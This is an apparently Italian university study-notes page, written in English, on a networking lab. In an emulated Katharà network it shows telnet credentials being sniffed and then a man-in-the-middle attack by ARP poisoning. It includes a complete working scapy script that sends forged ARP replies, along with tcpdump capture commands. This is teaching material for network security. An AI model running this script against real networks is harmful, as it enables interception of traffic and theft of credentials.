Salta al contenuto
Note per Studenti Man-in-the-Middle Attack with ARP Poisoning Report

Man-in-the-Middle Attack with ARP Poisoning

In questa pagina 7

See also: ARP - Address Resolution ProtocolTo place an IP datagram in a frame a node needs the MAC address of the next hop, obtained with ARP: a broadcast request (destination MAC FF:FF:FF:FF:FF:FF, carrying the sender's IP and MAC and the wanted IP) and a unicast reply with the wanted MAC, stored in the ARP cache; ARP always resolves the next hop (destination host or router), never the final destination, and since broadcasts do not leave the subnet a router can answer with its own MAC (proxy ARP).ARP - Address Resolution Protocol →, Network Devices - Hub, Switch and RouterDevices that interconnect networks differ by the highest layer of the stack they read. Hub (layer 1): a repeater, regenerates the signal and sends it out of all ports, all stations share the capacity. Bridge and switch (layer 2): read the MAC address and forward only to the right port, learning the table (FDB) from source addresses. Router (layer 3): reads the IP address and joins independent networks (internetwork). Switches and bridges isolate traffic and are plug and play; the router gives optimal routing but must be configured.Network Devices - Hub, Switch and Router →, LAN - Ethernet and Wi-FiA LAN covers a limited area and is defined by the IEEE 802.x family (802.3 Ethernet, 802.11 Wi-Fi), which splits the link layer into LLC and MAC. Ethernet is connectionless, with no flow control and no ACK; it uses 1-persistent CSMA/CD; the frame is 64 to 1518 bytes (6-byte addresses, type/length, data 46-1500, 4-byte CRC) and the 64 B minimum comes from t_F >= 2 tau_p. From 10 Mbit/s on coax up to 10 Gbit/s on fibre, with full-duplex switches removing collisions. Wi-Fi (802.11) uses CSMA/CA, has BSS (with access point) and ad hoc modes, EBSS with a distribution system, adapts its bitrate to the SNR, and has hidden and exposed terminal problems, partly solved by RTS/CTS and NAV.LAN - Ethernet and Wi-Fi →.

Laboratory 7 shows how an attacker on the same LAN can read, and even modify, the traffic between two other hosts. No software vulnerability is needed: the protocols are neither authenticated nor encrypted (Network Security - Threats and AttacksA threat is any event that can violate a security goal (confidentiality, integrity, availability, accountability, privacy) and its realisation is an attack; security services and mechanisms counter the threats, and sniffing and spoofing underlie the main network attacks, DoS and man-in-the-middle.Network Security - Threats and Attacks →). The lab starts from an archive: tar xzvf lab7.tar.gz, cd lab7, kathara lstart (see Emulating Networks with KatharàKatharà is a network emulator where every device is a Docker container joined to virtual collision domains; a lab is a folder with lab.conf (topology), one .startup file per machine and optional per-device folders; machines are configured with ifconfig, tested with ping and observed with tcpdump and Wireshark.Emulating Networks with Katharà →).

The scenarios

Two identical scenarios, except for the device linking client, attacker and router: a hub in scenario 1, a switch in scenario 2.

 sN_client   192.168.10.1  ---+
 sN_attacker 192.168.10.2  ---+--- [ hub (N=1) or switch (N=2) ] --- eth0 192.168.10.254 [sN_router]
                                                                          eth1 10.0.0.254 |
                                                                            sN_server 10.0.0.100
machine role address
sN_client runs the telnet client 192.168.10.1/24 (gateway 192.168.10.254)
sN_attacker wants to steal credentials 192.168.10.2/24
sN_router links the two networks eth0 192.168.10.254/24, eth1 10.0.0.254/24
sN_server telnet server; user rdclab, password rdclab 10.0.0.100/24 (gateway 10.0.0.254)

All machines start configured (addresses, default routes in the .startup files, names in /etc/hosts, services). New lab.conf options: s1_client[num_terms]=1 (number of terminal windows), s2_attacker[bridged]=1 (connects the machine to the real network), s2_client[sysctl]="net.ipv4.conf.all.arp_accept=1" (kernel parameter: accept unsolicited ARP replies), s1_client[ipv6]=0 (disable IPv6). In scenario 2 the switch is a machine with three interfaces joined with a Linux bridge (brctl addbr br0, brctl addif br0 eth0, ...); in scenario 1 the hub is implicit, created by Katharà for each collision domain.

Telnet is in clear

Definition (telnet). Client-server protocol for remote access over a bidirectional channel. After login, typed commands run on the remote machine. Everything, user name and password included, travels in clear.

Example. telnet s1_server, then hostname (prints s1_server), pwd (/home/rdclab), ls -al: they seem local but run on the server.

Property (hub vs switch). A hub (physical layer) repeats the signal on all other ports; a switch (link layer) sends frames only to the port of the destination, using a MAC-to-port table learned from the source MAC of incoming frames.

ARP poisoning does not change the switch table: it changes the destination MAC the client writes in the frame.

Scenario 1: the hub

On the attacker:

bash
tcpdump -i eth0 ip -w /shared/scenario_1.pcap

-i eth0 is the interface, ip filters only IP packets (not ARP), -w file saves a .pcap instead of printing; /shared is visible also on the real computer. On the client:

bash
telnet s1_server          # opens the connection to the server
# login: rdclab / password: rdclab

After a few commands close with Ctrl+D, stop tcpdump with Ctrl+C and open the file in Wireshark: first the TCP three-way handshake (SYN, SYN-ACK, ACK), then TELNET packets.

Follow TCP stream. Wireshark function that reassembles the stream of a clear-text protocol and shows it readable (right click on a packet, Follow, TCP Stream). Red = client to server, blue = server to client.

Exercise: why does login: show rrddccllaabb and Password: only rdclab in red? Telnet sends one character at a time, and for the user name the server echoes each character back (red then blue per letter). For the password the server turns off the echo, so only the client's characters appear; but the password still travels in clear.

Scenario 2: the switch

The same tcpdump -i eth0 ip -w /shared/scenario_2.pcap captures nothing of the conversation: the switch forwards frames only toward the server's (or router's) port.

The man-in-the-middle attack

Definition (MITM). The attacker sits between the two endpoints, making the receiver believe he is the sender and the sender believe he is the receiver. Passive: intercepts and forwards unchanged. Active: intercepts and modifies before forwarding.

The weakness of ARP

The client (192.168.10.1/24) compares 10.0.0.100 with its network: 10.0.0.100 AND 255.255.255.0 == 10.0.0.0 ≠\ne 192.168.10.0, so the server is not local and the packet goes to the gateway: the frame keeps the server's IP but uses the router's MAC, taken from the ARP cache. It is enough to forge the entries for the router's IP and the client's IP.

ARP asks "which MAC has this IP?" with a broadcast request, answered in unicast. Each host keeps an ARP cache updated at every reply. ARP has no authentication: anyone on the LAN can send a reply, even unsolicited. So the attack works only inside the same LAN.

Definition (ARP poisoning). Redirecting the traffic of two parties through the attacker by corrupting their ARP caches with false replies sent continuously.

The attacker sends: to s2_client a reply "the IP of s2_router has my MAC"; to s2_router a reply "the IP of s2_client has my MAC". With IP forwarding enabled on the attacker the frames still reach their destination, so nobody notices.

The program with scapy

Ready tools exist (ettercap, arpspoof), but the lab uses Python with scapy (/root/arp_spoof_1.py):

python
#!/usr/bin/env python3
import time
from socket import gethostbyname
from scapy.all import *

s2_attacker_ipa = get_if_addr('eth0')       # attacker eth0 IP
s2_attacker_hwa = get_if_hwaddr('eth0')     # attacker eth0 MAC
s2_client_ipa = gethostbyname('s2_client')  # client IP (from /etc/hosts)
s2_client_hwa = getmacbyip(s2_client_ipa)   # client MAC (real ARP request)
s2_router_ipa = gethostbyname('s2_router')
s2_router_hwa = getmacbyip(s2_router_ipa)

# false reply for the client: "router IP has attacker MAC"
EC = Ether(dst=s2_client_hwa, src=s2_attacker_hwa)
AC = ARP(op=2, hwsrc=s2_attacker_hwa, psrc=s2_router_ipa,   # op=2: reply
         hwdst=s2_client_hwa, pdst=s2_client_ipa)
pktC = EC/AC
# false reply for the router: "client IP has attacker MAC"
ER = Ether(dst=s2_router_hwa, src=s2_attacker_hwa)
AR = ARP(op=2, hwsrc=s2_attacker_hwa, psrc=s2_client_ipa,
         hwdst=s2_router_hwa, pdst=s2_router_ipa)
pktR = ER/AR

try:
    while True:
        sendp(pktC, verbose=False)
        sendp(pktR, verbose=False)
        time.sleep(1)              # keeps the caches poisoned
except KeyboardInterrupt:
    print("\r", end="")

Points to remember: the attacker first finds the real MACs (getmacbyip makes a real ARP request); in the false messages the MAC is his but the IP is the impersonated machine's (psrc); the frame is unicast and 14+28=4214+28=42 bytes (Ethernet header 6+6+2=146+6+2=14, ARP message 8+2⋅(6+4)=288+2\cdot(6+4)=28); two packets per second is only about 2⋅42⋅8=6722\cdot42\cdot8=672 bit/s; the repetition every second is needed because cache entries expire and the real hosts keep sending true replies.

Running the attack

Look at the caches with arp:

bash
root@s2_client:/# arp
s2_router    ether   <real router MAC>   C   eth0

On the attacker: cd /root and ./arp_spoof_1.py. Reading the caches again, s2_client shows s2_router with the attacker's MAC, and s2_router shows s2_client with the attacker's MAC. In a second attacker window:

bash
tcpdump -i eth0 ip -w /shared/scenario_2_mitm.pcap

Then telnet login from the client, hostname, pwd, ls -al, Ctrl+D. In Wireshark, Follow TCP stream shows the whole conversation with the credentials. Difference from the hub: each packet appears twice on the attacker (when it arrives, MAC destination = attacker; when it is forwarded, MACs change but IPs stay), and the poisoning must continue for the whole session.

Defences

Common mistakes

  • Thinking a switch protects from interception: it stops only passive listening.
  • Believing a password hidden on screen is protected.
  • Poisoning only once: caches return correct soon.
  • Forgetting forwarding on the attacker: client and server lose the connection.
  • Swapping IP and MAC in the false ARP packets.

Versione ripasso

  • Telnet. Remote access, user and password in clear. telnet s1_server, then hostname, pwd, ls -al run on the server. Wireshark Follow TCP stream: red client to server, blue server to client.
  • Login echo. login: shows rrddccllaabb (server echoes each character); Password: shows only rdclab (echo off, but still in clear).
  • Hub vs switch. Hub repeats on all ports; switch forwards to the destination port after learning MACs. Hub: attacker sees everything; switch: attacker sees nothing.
  • Topology. Client 192.168.10.1, attacker 192.168.10.2, router 192.168.10.254 and 10.0.0.254, server 10.0.0.100; rdclab/rdclab.
bash
tcpdump -i eth0 ip -w /shared/scenario_1.pcap   # attacker: eth0, IP only, save to .pcap
telnet s1_server                                # client
arp                                             # show ARP cache
./arp_spoof_1.py                                # attacker: start poisoning

Teoria collegata